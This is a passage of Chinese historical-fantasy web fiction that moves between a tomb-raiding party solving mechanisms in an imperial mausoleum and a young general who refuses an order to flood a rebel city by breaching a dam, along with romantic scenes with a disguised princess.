果然,左右耳室皆堆满了成箱成箱的金银珠宝,间有整株的珊瑚树,半人高的白玉雕,不要钱似的随意摆放在墙边,可惜大的她拿不走,小的还需再挑些方便顺手却价值连城的。
她这边连开好几口箱子,其他人手速更是快,祁道长直接是用脚尖踢开锁扣,一脚一个,可见不仅是腿脚功夫了得,见了钱连脚趾头痛都不怕。
或许他本就是冲着皇陵财宝来的吧,虽然昭早早并未过问闵家许给他什么好处,但单凭直觉,这假道士所图不小。
饶是闵宴这样钟鸣鼎食之家的大少爷,见了这番场面,隐隐也压不住贪婪之色。
众人各自在财宝堆里穿梭,昭早早两手挂了三四十副大镯子,脖子上各色彩宝项链从前胸绕到后背,正在往脚脖子上捆东西。
腰间别着的玉如意怪碍事的,她决定先拿出来放着,等脚上的捆好再找地方插。
唯有肖平冷眼看着他们不动,半晌转身出去了。昭早早寻思着人现在好歹是拿皇粮领皇命的武将,自然是看不惯这等行径,别说与他们同流合污,没有上前制止就已经是够看得开的了。
到底还是太老实了,若是像她这样轮转两生,便知帝命皇权是最可笑的东西。
她也懒得再拿,跟其他人打声招呼,便也追出去看肖平去哪。耳室再向前通道左转,转弯处是面空无一物的狭长石壁,肖平却在那伫立不动,似乎在侧耳倾听什么。
昭早早一靠过去便听到汩汩的流水声,恍然大悟道:“哦,原来这后面就是那条水道通路,道士!假道士!”
祁道长在她的呼喝声中拧着眉毛出现,“瞎说什么,我是有符牒的。”
两个人是一样的满身金玉,彼此看了一眼,都露出滑稽的表情。昭早早抬手往墙面一指,手还怪沉的,“你来看看,这是不是你撬琥珀铜碟的那面墙。”
祁道长闻言先退后仔细检视了长宽形状,随后附耳贴上石壁,又蹲下去探指在缝隙里沾拈细灰,认真分辨道:“的确很像,就是我去的那一面光线太暗,我没能看清底部。你们看这里,有明显的爪刀痕迹。”
“爪刀是专门用来硬开石门的,”他就着蹲姿给他们指明地方,“这条缝隙看起来插入过钢片,但是这门太厚了,位置又低,刀爪插进来也展不开,更不要说拉动。”
“看来在我们前面有同行试过。”祁道长作下结论站了起来,昭早早好笑地重复了两个字:“同行。”
祁道长浅浅一笑,“求财的不都是同行么。”
彼此心照不宣,肖平拍了拍昭早早的肩膀,示意她看墙壁上的琉璃灯。昭早早这才注意到,所有的灯座都是向上的鲛人捧珠造型,只有此处的这一盏,鲛人是倒垂着的。
“装反了?”昭早早凝神细看,“不应该啊。”她伸出两指轻轻沿边摸索,倒也不必叩击,凭触感便发觉窍门,“空
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心的,有铜珠,是铃铛!”
“我就说那个是转铃吧。”
她略微得意地接拿过肖平手里的长明灯,凑近了确认:
“这里面有铜丝,这灯座的背后肯定有洞眼连到外面,道士转铜牒的时候鲛人灯就会响,只是石墙太厚,外间又有水声,听不见。不过在这地宫里肯定还是很响亮的。”
“再响亮有什么用。”闵宴他们也从耳室出来了,听到这一通分析都觉无语,“难道这里面还有谁能听见。”
“没准呢。”昭早早随口瞎掰,只见这三人就闵宴一个乐得轻松,只胸口鼓起一点,手上拿着一方珠玉匣子,看起来是很体面,但遇到危险只有当石头扔的份。
昭早早也不想提醒他,大少爷家有的是钱,哪在乎这个。
“想赶紧离开这里就快走,我们直接沿主路去玄殿,按照地图标示,通道就在里面。”昭早早言下之意很明确,其他几个后宫妃嫔的陪葬偏殿没工夫打搅,毕竟他们缺少食水,在地宫待得越久越不利。
玄殿作为摆放帝王棺椁的主墓室,自然是机关重重。
昭早早和祁道长一左一右同时上前,提起十二万分小心迈进去,却并没有踩到什么异常的石板,或是碰触到透明的机关线阵之类。
整个玄殿装饰宏大而华美,只有正中心的雕龙棺椁摆放在三层高的石床之上,沿阶嵌着鹅蛋大的夜明珠,尊贵非常。
但最惹眼的不是这些,而是玄殿天顶中盘踞着无数翠绿的□□,交织成一张弥天大网,亦像青纱帐幔,从中心点连绵垂落下来,正覆盖在棺椁中央。
祁道长吓了一跳,举步便要后退,昭早早阻止他道:“不是通天藤,那东西可没这么细小,看清楚。”
“也对。”对方冷静下来,也仔细观摩后道,“这个布置怎么有点眼熟?”
“壁画。”昭早早说着与肖平对视一眼,谁能想到那墙上的图案不是虚指,竟是写实呢。然而他们眼下也没空探究这些,祁道长对她指明方向道:“就在那。”
昭早早也记得通路是在棺椁正后方的石墙,两人默契地前后摸过去,吩咐其余人原地等待不要乱碰。
可她和祁道长在那面墙前探索了半天,也没找到机关开口,仿佛那就只是一堵普通的墙面而已。
两人不得不在玄殿他处谨慎地巡查,连摆放棺椁的石床都没放过。
祁道长一颗颗按动那些夜明珠,无任何机括弹动的反应,他思忖道:“会不会是有一定的顺序?”
昭早早从石床上下来,不耐烦地掏出小刀沿缝插进去撬,“拿一颗下来看看。”
“你也太粗暴了。”祁道长制止她,从鞋底摸出来一片薄如蝉翼的精铁,“我来。”
“……”昭早早想到那颗琥珀珠的臭味恐不太单纯,嫌弃地在裤子上使劲擦了擦手。夜明珠撬出来,凹坑里光滑平整,未见装置痕迹,两个人面面相觑,又望向台下几人。
“要不大家分头找吧。”昭早早无奈道,“目前这里倒没发现什么危险,不过还是要谨防万一。”尤其是肖平,昭早早跳下来和他一道:“我和你一起。”
闵宴猜疑的眼神扫过来,“你是不是认识他?”
“怎么会。”昭早早敷衍地摆摆手,“这里咱们都是贼,就他一个官,我不得看着他啊。”
“是吧。”昭早早笑盈盈地抬起下巴抛给肖平一个眼神,示意他跟自己去入口看看。肖平偏过脸没有跟她对视,脚步到底是跟上了。
众人搜寻了近两个时辰,几乎是一寸寸摸过了玄殿的每一处,除了天顶够不着,棺椁抬不动以外,能探寻的地方都找过了,一无所获。
“莫非图有问题?”祁道长的嗓音变得有些粗哑,气闷道:“要不然再去偏殿看看。”
“不用。”昭早早又趴回棺椁正后的那面墙上,连摸带敲研究了两炷香,笃定道:“这道墙是从正中合拢的,也就是说这其实是左右两扇门。别看它拼得严丝合缝,但到底不是一整块,从中间敲击,声音和两边不一样。”
“但也是从声音可以判断,这堵石墙少说四五尺厚。就算我们有火药都没法炸开,哪怕硬炸,也会先把甬道甚至整个墓室炸塌。”
“想什么呢,别说火药,我们连把铁锹都没有。”阿琛疲惫地靠墙坐下,徐生则早就扶着闵宴在一边休息了。
“先歇会再想办法。”肖平忽然开口对昭早早说。
他说得平静,近乎面无表情,昭早早却听得一乐,从善如流地跟着他找了块角落坐定。
转念一想肖平竟然对素不相识居心叵测的劫匪都这么关心,该有多么心善,而这世道对好人来说总是太过危险。
在一面开心一面忧心的双重旋涡中昭早早陷入了短暂的睡眠,奔忙这一遭着实很累,但她通常不会在这样的环境中丧失警惕,可能是因为肖平就守在她身边,而她认为他始终是可靠的。
恍惚不知道睡了多久,肖平轻轻摇晃着她的肩膀将她唤醒,点漆星眸中糅杂着些许担忧:“你好像在做噩梦,你梦到什么了?”
昭早早抬手胡乱抹了把脸,摇头道,“没什么,不是噩梦。”
16. 吃蟹
慕容青在兰江并没有休养多久,他还有最后一座堤坝未开,便是清河坝。
虽仍有少许叛军盘踞附近,但下游大部分城镇均已归降,百姓亟需水源灌溉畜牧,否则来年的收成无法保障,不知多少民生会受影响。
快到清河坝时,慕容青只能于群山峻岭中远远向下游的金岭城眺望过去,任清冽的山风吹拂,将他衣袖都凝上寒露。
他的“少侠好友”沉默地替他系了一件披风,并没有多说宽慰的话,只不声不响退到一边,静静等着。
这位奇特的公主继身份败露之后,索性摇身一变,换上男装假扮投奔慕容青的“故交旧友”,光明正大地随行。也不知她用了什么方法,把脸上的胎记掩盖得丝毫看不出。
她的侍女则暂时顶替了她的身份,时时在马车或是驿站中“静养”,慕容青忽然想到此节,没头没尾道:“这面纱还挺方便。”
对方眉眼微抬,本就凹陷的眼窝拢上疑惑,更显深邃,“什么?”
“你是个哑巴吗?非要跟着我,又一句话不说。”
慕容青烦闷起来,不想再待下去,准备令休整的队伍启程。
“李公子”却显得有些手足无措,迟疑着开口道:“金岭城已被围困半年,没有援军粮草,要招降并不难。大公子是他们与朝廷谈判的筹码,轻易不会舍弃。”
“但是叛军想降,也得朝廷愿受。”
慕容青抱臂看他,“你讲的我都知道,不会安慰人就别说话了。”
李公子脸上显出一丝委屈的神色,慕容青意识到方才让他说话的正是自己,说了又叫人闭嘴……慕容青不自在地挠了挠头,声如蚊蚋地嘀咕道:“抱歉。”
“走吧,出发。”也不管对方听见没有,慕容青兀自跨过他身边。
或许是恶人自有恶人磨,一向自诩下盘稳如泰山的慕容青在迈步的瞬间倏地脚下一滑,身形一荡就被李公子单臂稳稳捞在手里,两个人电光火石对视一眼,一个迅速松手,一个挺腰走人,默契地假装无事发生。
难道是身体还有点虚?
慕容青兀自尴尬地偷摸鼻头,近来吃的丹药滋补非常,比慕容家世代相传的药膳更为调理气血,不应该啊!可能怪石头上青苔太厚。
清河本就比兰江要窄,清河坝的隘口水流平浅,坝体宽厚各方面规模都要小上许多,慕容青来之前已提前给镇陵监传信接应,本应是水到渠成地上山开闸,却不想有宫中圣旨已等候他多时了。
慕容青跪下接旨,除开奉天承运的废话,便是朝廷假以占星之名,要另观天象,择日再开清河,令他就于此处好生待命。
慕容青接完旨漠然起身不欲多言,倒是宣旨的太监主动赔上笑脸,意有所指地说:“少将军不必忧怀,圣上另有旨意往金岭去了,不日或能有好消息,少将军且安心等着。”
“多谢公公。”慕容青也礼貌性地换上虚假脸孔,敷衍地打点了一番,命人带宫中差使下去好生歇息,明日护送他们一程返回王都。
傍晚,手下前来禀告,宫里的人悄悄往公主那边去了。这本也不是什么值得大惊小怪的事,皇帝寻他安插的人问消息,再正常不过,但慕容青就是想去看看公主会如何回应。
他谴开手下,令沿路侍卫噤声,自己一个人悄无声息从院墙翻进去——以免公主那两个不听话的侍女报信。
虽说在自己的营地翻墙不太体面,但慕容青本就不是在意礼节的人,透过窗棂,他做贼一般窥视着屋内。
他来得还是太晚,两边话已说完,太监行了礼拿着锦盒正要告退,慕容青转到门外将人正面堵住,笑吟吟道:“公公怎得突然造访内宅,也不通传一声,莫非是陛下另有口谕?”
他这般神出鬼没自然吓得老太监一跳,但姜还是老的辣,立马从容不迫地托辞道:“无他,只是陛下牵挂公主近况,派老奴前来探望罢了。驸马有心,公主一切安好,老奴便可放心回禀了。”
“原来如此。”慕容青一个字也不信地斜睨公主,见她又戴上了久违的面纱,菩萨般端坐着面无表情,甚是无趣,便将矛头转回向老太监,“公公手里拿的什么?”
“哦,只是公主托我带回去的书信罢了。”老太监皮笑肉不笑,手微微后缩,慕容青顺着他的动作去抓握,两人竟是推了一招,对方尖厉的一声“大胆”刚出口,慕容青已经眼疾手快地把锦盒都掀开了。
公主也是一急,慕容青余光瞥见她险险有个起身的动作,要不是太监注意力全在他这,恐怕要穿帮。
“这书信怎么还带画的?”
慕容青自言自语地展开手中卷轴,“战车改良图?看来公主还挺关心前方战况……火药箭?拿这个开城门还不如投石车……哦,原来是想开通天坝,那可难了。”
他把卷轴收起来塞回锦盒,一手拿住太监的胳膊,一手给他放回去,讪笑道:“公公可得拿好了,别弄丢了宁平公主的心意。”
宁平公主本人一言未发,老太监脸涨成猪肝色,也是没见过这般全然不讲礼数的,但好歹没扣下东西。于是他神色不愉地甩手走人,“有劳驸马费心。”
闲杂人等尽散,慕容青把门一关,闲庭信步溜到桌边坐下,“质问”公主道:“你是从什么时候开始研究这些的?”
“那天夜里。”公主斟了两盏茶,推过去一盏,“我没有别的意思,只是想帮你。”
“帮我?”慕容青端起茶杯,一下便想到她说的是几时——少侠半夜现身救人的那天,除开姿势不太雅观,别的都还历历在目。
他嗤笑道:“你懂的还挺多。可火药除了做烟花还能有什么用?小孩子的玩意,何况弓弩车根本射不了那么远,反张弓也不行,你给陛下出错主意了。”
“我不过是提出想法,抛砖引玉。”公主认真道,“工部能人异士众多,或可改进。”
“希望吧。”慕容青放下茶杯,“那你大可不必瞒我,独木难支的道理我比谁都懂。如果真的可行,我一定是最赞成的人。”
“是我狭隘了。”公主垂下头低声道,“对不起。”
她原是这么坦诚的人吗?慕容青相当意外,他随口一说的,竟然能听到她道歉,而且还没有细究他为何会恰是时候出现在这里,未免太单纯了些。
慕容青反倒有些做贼心虚,拿出事先准备好的说辞,“不说这些了。我叫人在山腰凉亭中摆了全蟹宴,特意来接你一块去。”
倒不是慕容青想故意占人便宜,而是公主在外间走动不便,不由他抱着就得坐步辇,行动太慢,急性子如他等不及,索性不由分说抬手给人抱上去。
临近十月金秋,正是蟹黄肥美的时候,凉亭里香气四溢,蒸屉杯盏摆了满桌,正静候来人享用。
慕容青看公主面上还蒙着薄薄一层轻纱未取,奇道这般着装
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如何吃蟹?
从前是看过她在面纱底下吃饭食的,从底下掀起一半,以羹勺送;行军途中都是干粮则更方便,撕一段递到嘴里慢慢嚼。
可这蟹就算是以刀剪开壳,吃起来终归粗放,戴着面纱肯定诸多不便。
果不其然,公主木讷地坐他身边,装模作样地举箸空悬,迟迟不动。慕容青心中暗笑,故意挑了只最大的蟹整个递到她面前,端的是温柔体贴,实则催她去接。
公主双手接过,看了看蟹,又茫然看了看他,问道:“怎么吃?”
“是啊,我也想看你怎么吃呢。”
慕容青坏心眼地调侃着,顺手给自己也拿了一个,麻利地拆开蟹壳,当着她面蘸着蟹醋大快朵颐往嘴里送,毫无形象顾虑地放着刀剪不用,直接各种牙咬舌吮,一顺溜舔出整条的蟹肉,给公主眼睛都看直了。
她盯着慕容青瞧了一会,应是确认自己没有这样的本领,便拿起桌上的剪子,另寻他法。
慕容青余光一直瞧着她呢,见她几次险些戳到手指,慌得自己差点呛到,顿悟道:“你没吃过蟹?”
“嗯。”公主不甚在意地点点头,专注捣鼓着手里的物什。慕容青哑然,回想起她的生平境遇,倒也不稀奇,便拿布巾净了下手,又把螃蟹拿回来,“我教你。”
慕容青一贯懒得用工具,三下五除二徒手扒拉掉不能吃的部分,把蟹黄聚到一起送到她嘴边,说:“吃。”
公主拿掉面纱的一瞬慕容青早就忘记了自己的初衷,只见她低下头就着自己的手像山林中的梅花鹿舔舐溪水一样伸舌去卷,顿感莫名脸热,手一缩把蟹放她碗里,“自己吃。”
趁这空档他又去掰蟹腿,想了想还是剪的更整齐好看,便又拿了工具跟她处理出长短一致的八条蟹腿,方便她用筷子夹,蟹醋也给她摆好了。
做完这些慕容青才回神:怎么不知不觉伺候起人来了?岂不吃亏?他忙找补道:“看见没?等你学会了也得给我剥。”
“嗯。”公主点了点头,规规矩矩地说:“谢谢。”
她越是这样,越让慕容青反觉自己小家子气,剥个螃蟹干嘛还要斤斤计较?当即撸起袖子要给她再剥八个。
“要不以后不戴面纱了吧?多麻烦。”慕容青嘴闲之余没话找话,他这般说,主要是想主动消弭之前的嫌隙,公主却淡然应道:“习惯了。”
得,以后把嘴巴撕了他也不会再瞎诋毁公主的容貌,慕容青如是想,给公主斟上一杯花雕酒,然后自己提壶便灌,权当自罚,但愿公主能早日放下芥蒂。
他其实并不善饮,螃蟹也不饱腹,喝得多人便有些微醺。月上枝头,清风徐徐,慕容青撑着额头假寐,公主在一旁安静地用膳,秋蝉低鸣,更显山林静谧。
慕容青轻声问道:“你会不会觉得我太无情?”
公主应声而答:“不会。”
慕容青被她不假思索的回答逗得有一丝想笑,睁开眼反问道:“为什么?我大哥身陷囹圄,我却在这吃香喝辣,难道很有情意么?”
“这本就无关,就算你吃斋茹素也无济于事。”
公主平静道,“他有他的职责,你有你的使命。我知道你明白这些,也知道你一直都在尽力。你是一个有情义的人。”
“看来你在我身边没少……打探。”慕容青言不由衷地扭过脸去,又饮一口酒,不让她看到自己脸上的动容。
17. 变故
一连半月没有下雨,秋老虎热得反常,清河坝下游水流锐减,附近的平阳镇遣了官差前来打听消息,这已是连日来的第八个县镇官吏了。
除却叛城金陵尚在围困,远近能来的都来了,没来的多半还在路上。慕容青干脆一劳永逸,命人写了告示张榜贴在镇陵监外,无非是无能为力、谨候圣谕云云。
转眼中秋佳节已至,那天慕容青与往日没什么两样,一早洗漱换装停当,正要去军营和地宫巡视,却见徐副将匆匆赶来,面色凝重如霜。
参见他之后竟半晌说不出来话,慕容青心头一跳,仿佛天地瞬间寂静。这种场面他经历过很多次了……如今慕容家还活着的人已所剩无几。
慕容青闭目片刻,再睁开时眸中已是一片决然:“告诉我是谁,发生了何事,一字不漏。”
徐副将颔首,声音颤抖着详述金陵城叛军是如何拒不受降,射杀来使,又如何将左将军的遗体抛出城外以示决心。
慕容青咬紧牙关静默地听着,掌心刺痛却松不开拳头,他不能卸了力,只道:“带我去看。”
厚重的棺木静置于营前,周围将士皆垂首肃立,无人发出半丝声响,唯有风声萧萧。
慕容青不是没有设想过这样的结局,相反,他早就做好了准备。
打从大伯父领旨出征,而他临危受命的那天起,慕容家的人就都知道与天相争,胜负难料,唯有将生死置之度外。
他开棺验了身份,晦涩的暗红、刺目的伤口意外地并没有激起他多少翻涌的悲恸,他麻木地盖回布巾,令人按慕容家的规矩暂行收敛遗体,准备丧葬事宜。
他需要列一个清单,徐副将没处理过这些,慕容家仅剩的长辈和心腹都在主持定陵,他得去一封信……
慕容青在营中处理事务的时候圣上钦使和宁平公主同时到了,自当是钦使优先,公主的侍女抬着她去了偏厅。
正堂内门窗紧闭,钦使侍卫把守得水泼不进,慕容青接了一道密旨,命他尽泄清河,水淹金陵,以报国仇家恨。
慕容青当即大笑三声,眼中都笑出了水意,对钦使道:“圣上英明,我自当尽力而为。”
“少将军节哀,此番定能覆灭金陵,以慰左将军在天之灵。”钦使拱手道,“只是还需尽快准备,我等尚须亲眼见证,方能回宫复命。”
“自然。”慕容青回了一礼,送走钦使,又迎新客。
公主分明着急,见了他却欲语还停,慕容青索性摇头示意她先别说话,挥退开屋内外所有的随侍,于是公主站起来张开双臂,两人无言地拥抱在一起。
原来公主竟是比自己要高的。慕容青疲惫地靠着这略显单薄的肩膀,心不在焉地胡思乱想。
他心中主意已定,此刻什么正事都不愿再提,只想固执地当他俩是一双落在枝头的鸟,只彼此依偎,直到天地永恒。
这个拥抱的时间久得惊人,慕容青渐渐放松下来,一切都变得久远而安详,他就这样站着睡着了。
翌日他在公主的后院醒来,他几乎睡了一天一夜,军医来过了,钦使和他的将士都在外面等着。
圣令不可轻慢,坝上已准备妥当,慕容青更了衣便要出去,公主终是拉住他的手,慎重道:“阿青,别去。只要你配合,我可以在半路上劫走你。”
好大的胆量。慕容青讶异地转过头来,她被狗皇帝指婚派作眼线尚且不逃,此刻却为何愿意亡命天涯?
是为了金陵城的百姓。
慕容青立时便想通了,嘴角不自觉勾起一抹浅笑,反握住她的手——“你想得美。我堂堂慕容家少主,被你一个人单枪匹马地劫走,我一世英名不要了?”
大约也是情急,公主竟然顺着他的思路老实道:“云枝和云桠武功不弱,她们可以帮我一起劫你。”
慕容青失笑,“那你怎么不干脆不知会我,直接埋伏动手?”
公主坦承,“要生擒你很难。”
“那你可以杀了我。”慕容青不明白自己为什么要做明知不可能的假设,他在试探,却不知是在试探什么,“或者重伤我,下毒,随便别的什么招数。只要我自顾不暇,当然什么也做不成。”
公主眉头紧蹙,抬眼看他,并未接此话头,而是另外分析道:
“此间事必有蹊跷,金陵守将若当真决绝至此,断不会关押大将军半年之久。若是恼羞成怒动手,又怎会是在谈判之前如此仓促?来使死在城外,更说不清到底是哪方的冷箭。一切真相未明,切莫冲动行事。”
“所以你是选择说服我吗?”慕容青没来由得松快了些,对上她的眼神,“那可不行,我还是要去。你就老老实实待着。”
说着出手如电点向她锁骨下的云门,公主同样反应极快,扭身让他一指错开未中,当即闪出桌后。
两人电光火石在房间里连过数招,非常默契地都小心着动静,否则早就霹雳乓啷引来外人一片。
慕容青早就想和她切磋了,当下也不留手,两人都默认想先一步点住对方穴道,你攻我防,来往招数变换,一时打得难分难解。
她的招式飘逸出尘,一看就是道家的身法,慕容青知道短时间要拿下她不容易,一会还要留着体力上山,想速战速决只能使出奇招——
当即灵光一闪,果断卖了个破绽给她,诱她上前,却不止偷袭她胸口,而是同时偏头张嘴作势要咬她耳朵,趁她分神避让来不及回护,一击得手。
“对不住。”慕容青不是为点她穴位道歉,纯粹是谴责自己的不光彩,原本还想澄清一下此举与慕容家的家教无关,今后保证也不会再用……
又对自己的人品不放心,遂作罢。
以防万一,他顺手把公主的哑穴也点了,对上她眸光如刃,含屈带怒的脸,想解释两句,却又离奇地萌生出怯意,索性丢下人先行离去,办完正事再说。
大队人马由他领头直抵清河坝口,坝下水声轰鸣,激流飞泻,坝上偌大的水面倒映着天光云影,鸟鸣声声,一派祥和。
宫中钦使第一次见到此等壮观场面,大发酸腐,并不在意即将发生什么。
慕容青冷眼等着属下固定好绳索,游离的视野远处,一个疾步如飞的小小灰影忽地闪现林中,看来他的“好友李公子”要到了。
慕容青一跃而下,手中长刀在空中翻了个花,血色飞溅。
他再持刀便在坝体上史无前例地拉开了一道巨大的豁口,近一丈来长,他翻身向上,反手又是横着一刀——
一道狭长的十字像是仙人落笔在巨大的坝体上书写而出,慕容青脚尖踏上交点,四边的藤蔓颤抖着向后翻卷,他就这样长身而立,直直地硬挤入其中。
耗费的时间比预计的还要长,毕竟这个洞口的尺寸空前,足以以一敌三。
重回坝顶之时,慕容青毫不意外地看见李公子堂而皇之地站在他的队伍中,谁叫他之前交待过属下,这是自己人呢。
积蓄已久的湖水很快冲开最后一层薄薄的阻塞,化作汹涌的洪流猛烈冲击向下游,河水迅速上涨,裹挟着泥沙与碎石,势不可挡地向前奔涌而去。
在雷鸣般的轰响中锦衣玉带的钦使面带
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喜色,扯着喉咙大声囔囔着什么,慕容青压根听不太清,但不用想也知道,是叫他趁热打铁,再接再厉。
慕容青看向他的自己人,眨了眨眼睛,二话不说地仰面倒下。
明明离他最近的是徐副将,但李公子硬是快人一步,抢先把他接住了,在众人慌张惊讶地围拢过来之前,慕容青极快地贴着他身子说话,以便传音:
“不要横着抱!”
李公子托着他的手一顿,手臂转了个劲,竟是……把他扛上了肩头。
慕容青强忍着不让嘴角抽动,料想自己本就该很难看的脸色一定更惨白了。
“我带他去找军医。”
李公子说完便动身,一路大步流星将他扛回镇陵监。慕容青几次三番想寻着机会换个姿势未果,怀疑公主是蓄意报复。
此后慕容青在榻上硬躺了十余天,各种丹药轮番灌下去,他依然‘气若游丝、虚弱不堪’,只急得钦使一日三次来他房外踱步,又屡屡被公主生气地呵斥走。
这边迟迟未能复命,宫中屡屡派人来催,慕容青终是“勉力支撑”着面见了钦使。
“少将军,”钦使开门见山急不可待道,“此番成败在此一举,兹事体大,关乎国运,万望少将军勉力为之,不负圣恩。”
慕容青摆出一副实属无奈的表情,缓缓抱拳虚施一礼,“末将亦不愿有负圣上所托。
奈何着实是力不从心,如今慕容家人才凋敝,仅凭我一人,就算豁出性命不要,也无法再开闸口,泄尽清河。还望钦使大人体谅。”
“圣命难违,请少将军再思良策。”钦使语气森然道:“抗旨不尊,乃是大罪,少将军若执意推辞,届时圣上震怒,恐难万全。”
“抗旨?”慕容青拿出怀中巴掌大的黄绸,冷笑一声:
“圣上所赐乃是密旨吧?非明发之圣旨,按朝廷律例,不算正式诏令,又如何能以此治罪?钦使倒也是提醒我了,密旨真伪难辨,我尚未及向朝中去信确认,倒不该贸然行事。若圣上真有此意,为何不直接赐圣旨?”
钦使脸色骤变,脱口而出道:“当然是因为圣上不便违背先祖遗昭!”
“哦对,”慕容青立刻接口道,“太祖遗命,任何人不得擅启水闸至溃坝决堤,祸乱苍生,否则以忤逆论处。看来我慕容家险些犯下大罪。”
“非常时行非常事,此乃陛下特许,少将军又何罪之有?”钦使眼珠一转,凌厉道,“难道少将军不想替惨死的诸位伯父、为叛军所杀的兄长们报仇吗?”
“我当然想,手、刃、真、凶。”
这四个字慕容青说得一字一顿,后槽牙咬得十分用力,他需要尽力调息才能再勉强虚与委蛇几句。
“但下游不止金岭一城,无辜者甚众,还望钦使大人禀明圣上,当以黎民苍生为念,御民以仁。”
“少将军年纪轻轻,倒是妇人之仁。”
钦使面无表情道:
“可知杀一方能儆百?听闻慕容家二公子在利琅山失踪后至今杳无音信,或是早已被叛军掳走也说不定。若让叛军得知杀了慕容家的嫡长子也无妨,只怕你这位兄长也一样凶多吉少。”
慕容青一语未发,目光自上而下扫过这人一身朱紫官袍,由头到脚,如同掂量一具死物。
天地之大,想寻一人确实不易,但想藏一尸却是不难。
对方被他盯得打了个摆子,喉结滚动的声音清晰可闻,慕容青毫不掩饰地嗤笑道:
“那就不劳钦使大人费心了。回京时……可要多带些护卫,小心行路才好。”
18. 地宫出路
地宫深处。长明灯投下的光影摇曳不定,石壁间浮动的阴冷潮气舔舐着众人皴裂的嘴唇,他们被困在地底无法准确地推算时辰,但从身体的饥渴程度来看,约莫两日一夜。
干粮还是有的,众人身上多少都带着一些镇陵监投下的粗馕,尤其变故突生前昭早早还抢了一张大的,此时正好分一半肖平,凑合着应付。
但关键在于没有饮水。
底层的皇陵地宫与上层不同,自然是不用考虑活人引水的问题,相反为了让墓室保持干燥,挖的都是极深的暗沟,将山体渗入进来的地下水全都引入地下,其上还有盖板金砖,严严实实,没有专门的工具不可能撬开。
眼下摆在他们面前的只有两条路:
一是尽快找到玄殿石门的开关,逃出生天;
二是想办法重开皇陵入口处的石门,返回外地宫取水。
徐生已然在堆积陪葬品的耳室内找到了大小合适的琉璃壶,商量着实在不行要不先采用第二种方法。
“其实还有第三条路。”祁道长斟酌着道。
“是的,不必舍近求远。”昭早早完全能猜到并赞同他的想法,“这扇大门的机关找不到,那边小门的不好端端摆在那吗?门后就是上层的水道,我们可以喝个够。”
她喉咙干到吞咽唾沫都难受,也不想再多等,站起来拍了拍腿上的浮尘,“我去开门。”
祁道长忙问:“你有把握?”
“八成吧,就是那盏倒转的铃铛灯。”昭早早走向来时的狭长拐角,“还剩两成你们可以躲远点。”
肖平和祁道长还是选择跟着她,肖平也就罢了,两辈子宅心仁厚,这假道士又是唱的哪出?
面对昭早早探究的目光,他主动表明道:“万一不对我好收拾残局,免得被你牵连。”
昭早早回他以白眼,走到壁灯处抬手便把住了下部用作装饰的鲛人。
她食指卡在鱼尾的分岔处轻轻摸索了一阵,然后一个用力,将鲛人整体向左扭转,随着一声清脆的铃响,石门洞开,氤氲的水雾扑面而来,淙淙的流水声像梵音奏响地宫。
三个人默契地警戒了一阵,原本在玄殿的闵宴他们也闻声而来,确认没有什么机括异动,昭早早找徐生要来了琉璃壶并几个金盏——
她不能像阿琛、祁道长那样直接把头埋到水里喝顺便洗脸,那样做她的易容可能会出问题,所以只好文雅一些,打水上来与其他人就着水具喝。
燃眉之急算是解了,但情况依然糟糕,他们困在地宫没有出路,时间久了还是难逃一死。
昭早早借着长明灯的光亮,再次仔细打量起这条狭长的水道,底下应是汇入了底层的暗沟排出山外,而顶上隐隐现出一段弧形的凹糟,正好将左右两边并行的直槽相连接。
“道士,”昭早早指向顶部,喊祁道长道,“你有上去看过吗?”
“没有凑近。”祁道长摇头,不解道:“有什么特别之处吗?”
“你说这上面的磁石条要是只用来吸附武器的话,连起来干什么,还修这么圆乎,怪费工的。”昭早早不自觉地摸着下巴思索,“要说为了好看吧,这黑不溜秋的不是我眼神好谁瞧得见。”
“怎么别人就看不见,”阿琛插嘴道,“把灯举高点,里面的铜油亮的,有反光。”
“这里水气重,涂漆上油是为了防生铜绿。”昭早早顺着他的话往下想,“那为什么不干脆嵌入铁条,工序是一样的,造价还更低。”
一直不动声色地关注着他们的闵宴闻言不屑道,“皇家又怎会在乎这点资财。”
“你当我们在哪?这里可是丑陵。”
昭早早呛他道,“太宗皇帝酷爱玄铁你不知道吗?他征战一生,亲手打造了玄甲军,锁马枪更是他的得意之作。工匠一般会遵循墓主人更喜欢的材料……”
她话音一顿,突然想到了线索:“锁马枪的枪墩装有链槽,转枪倒挥时底部的铁球会先甩飞出去,相连的铁锁链再缠绕住马腿……铁球、锁链,难道说?!”
她兴奋地向肖平知会道:“我上去看看。”
“小心点。”肖平点了点头,替她守住入口。
昭早早虽然心急,但也怕太过鲁莽易出纰漏,仍是两脚蹬住石壁,一点一点地慢慢往上蹭,以防误触什么要命的机关。
待她上到顶头,探指伸入青铜凹槽内侧,果然摸到了两排打磨光滑的棘轮!
“原来如此。”昭早早得意忘形,当即脚底一滑,差点出溜下来,肖平胳膊都伸长了准备接她,还好她重又稳住身形,没出丑。
“到底怎么回事?”徐生好奇地问。
“你们家小姐手上的图是对的,错就错在我们人不对。”
昭早早擦掉手上黏腻的润滑油蜡,又看了一眼穹顶上的那条青铜轨道,“如果来的是手持锁马枪的玄甲军,他们只需要倒转枪尖一甩,就可以‘飞’过来。”
“你是说这里面有棘轮盘,会推动铁球向前?”
祁道长一点就透,甚至立马想通个中机巧,“所以这些磁石压根不是为了疏通水道,这里的水流带动的也不仅仅是铰斧,一定藏有相连的齿轮和链条,可以在轨道被激活时拉动棘轮。”
“没错,用青铜而非玄铁铸轨是为了让铁球滑动时更加顺畅,而激活青铜轨的关键显然就只有太宗皇帝自创的兵器——锁马枪。”
昭早早总结道:“简而言之,这是一条太宗皇帝留给他最信任的玄甲军的秘密通道。”
“在坟墓里给心腹留条路做什么用?”闵宴拧紧眉头,半信半疑,“他们还能来接他出去不成?难道他当时并没有死?”
“他相信他可以复活。”肖平少见地开口道,“那些壁画。”
昭早早立即想到肖平在皇陵前段驻足端详的那几幅奇怪的图画,到最后是佩戴九旒冕的帝王端坐于金銮宝殿,受万民敬拜的场景,昭早早想当然的认为那刻画的必是太宗皇帝生前——
莫非,其实壁画是连贯的,那是“死而复生”之后?
“想得还挺美。”祁道长讪笑一声,徐生则是问道:“这些跟我们能不能出去有关系吗?”
“如果我们是走秘密通道抵达这里的玄甲军,刚才已经扭响过转铃,权当通报。”昭早早一本正经地假设道,“那下一步就该陛下起来跟我们开门了。”
一伙人又回到玄殿,昭早早定定地看向石床,幽幽道,“我们得开棺。”
这次竟然没人应声,更没人跟她一块上前,肖平第一个不赞同:“何故打扰亡灵。”
